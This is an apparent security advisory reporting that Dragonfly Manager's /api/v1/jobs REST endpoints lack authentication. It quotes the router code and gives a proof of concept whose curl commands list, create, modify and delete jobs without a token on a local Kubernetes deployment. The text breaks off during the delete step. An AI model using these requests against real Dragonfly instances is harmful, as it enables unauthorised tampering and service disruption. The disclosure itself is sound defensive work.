Dragonfly Manager Job API Unauthenticated Access
Summary
Dragonfly Manager's Job REST API endpoints lack authentication, allowing unauthenticated attackers to create, query, modify, and delete jobs, potentially leading to resource exhaustion, information disclosure, and service disruption.
Affected Products
- Product: Dragonfly
- Component: Manager (REST API)
- Affected Versions: v2.x (based on source code analysis, including v2.4.0)
- Affected Endpoints:
/api/v1/jobs
Vulnerability Details
Description
Dragonfly Manager's Job API endpoints (/api/v1/jobs) lack JWT authentication middleware and RBAC authorization checks in the routing configuration. This allows any unauthenticated user with access to the Manager API to perform the following operations:
1. List all jobs (GET /api/v1/jobs)
2. Create new jobs (POST /api/v1/jobs)
3. Query job details (GET /api/v1/jobs/:id)
4. Modify jobs (PATCH /api/v1/jobs/:id)
5. Delete jobs (DELETE /api/v1/jobs/:id)
Technical Root Cause
In the source code file manager/router/router.go at lines 204-211, the Job API route group lacks authentication middleware:
```go
// TODO Add auth to the following routes and fix the tests.
// Job.
job := apiv1.Group("/jobs")
job.POST("", middlewares.CreateJobRateLimiter(limiter), h.CreateJob)
job.DELETE(":id", h.DestroyJob)
job.PATCH(":id", h.UpdateJob)
job.GET(":id", h.GetJob)
job.GET("", h.GetJobs)
```
In contrast, other API endpoints (such as /clusters) are correctly configured with authentication:
```go
// manager/router/router.go:143
c := apiv1.Group("/clusters", jwt.MiddlewareFunc(), rbac)
```
The developer left a TODO comment in the code, indicating this is a known but unresolved issue.
Proof of Concept
Environment Setup
Prerequisites
- Kubernetes cluster (Kind/Minikube/GKE, etc.)
- Helm 3.8.0+
- kubectl
- curl and jq
Deployment Steps
1. Add Dragonfly Helm Repository
```bash
helm repo add dragonfly https://dragonflyoss.github.io/helm-charts/
helm repo update
```
2. Generate Deployment Manifest
```bash
helm template dragonfly dragonfly/dragonfly \
--namespace dragonfly-system \
--set manager.replicas=1 \
--set scheduler.replicas=1 \
--set seedClient.replicas=1 \
--set client.enable=false > /tmp/dragonfly-manifest.yaml
```
3. Deploy to Kubernetes
```bash
kubectl create namespace dragonfly-system
kubectl apply -f /tmp/dragonfly-manifest.yaml -n dragonfly-system
kubectl -n dragonfly-system wait --for=condition=Ready pods --all --timeout=600s
```
Expected Output:
```
namespace/dragonfly-system created
[... resource creation messages ...]
pod/dragonfly-manager-5cc788d64b-grpbk condition met
pod/dragonfly-mysql-0 condition met
pod/dragonfly-redis-master-0 condition met
pod/dragonfly-scheduler-0 condition met
pod/dragonfly-seed-client-0 condition met
```
4. Setup Port Forwarding
```bash
kubectl -n dragonfly-system port-forward svc/dragonfly-manager 8080:8080 &
```
Exploitation Steps
Step 1: Verify Unauthenticated Access
Command:
```bash
curl -s -X GET http://localhost:8080/api/v1/jobs
```
Actual Output:
```json
[]
```
HTTP Status Code: 200 OK
Analysis: The API returns a successful response instead of 401 Unauthorized, confirming the lack of authentication.
Step 2: Create Unauthorized Job
Command:
```bash
curl -s -X POST http://localhost:8080/api/v1/jobs \
-H "Content-Type: application/json" \
-d '{
"type": "preheat",
"args": {
"type": "file",
"url": "http://example.com/test-file.txt"
},
"scheduler_cluster_ids": [1]
}' | jq .
```
Actual Output:
```json
{
"id": 2,
"created_at": "2026-01-17T16:34:22.497Z",
"updated_at": "2026-01-17T16:34:22.497Z",
"task_id": "group_dd5565a2-686a-4c10-ad08-f5ce2950e1c9",
"type": "preheat",
"state": "PENDING",
"args": {
"type": "file",
"url": "http://example.com/test-file.txt",
"scope": "single_seed_peer",
"timeout": 3600000000000
},
"user_id": 0,
"scheduler_clusters": [
{
"id": 1,
"name": "cluster-1",
"is_default": true
}
]
}
```
HTTP Status Code: 200 OK
Analysis: Successfully created a Job (ID: 2) without any authentication token.
Step 3: Query Job Details
Command:
```bash
curl -s -X GET http://localhost:8080/api/v1/jobs/2 | jq '.id, .type, .state'
```
Actual Output:
```json
2
"preheat"
"PENDING"
```
HTTP Status Code: 200 OK
Step 4: Modify Job
Command:
```bash
curl -s -X PATCH http://localhost:8080/api/v1/jobs/2 \
-H "Content-Type: application/json" \
-d '{"bio": "Modified by unauthenticated attacker"}' | jq '.id, .bio'
```
Actual Output:
```json
2
"Modified by unauthenticated attacker"
```
HTTP Status Code: 200 OK
Step 5: Delete Job
Command:
```bash
curl -s -o /dev/null -w "%{http_code}" -X DELETE http://localhost:8080/api/v1/jobs/2
```
Actual Output:
`
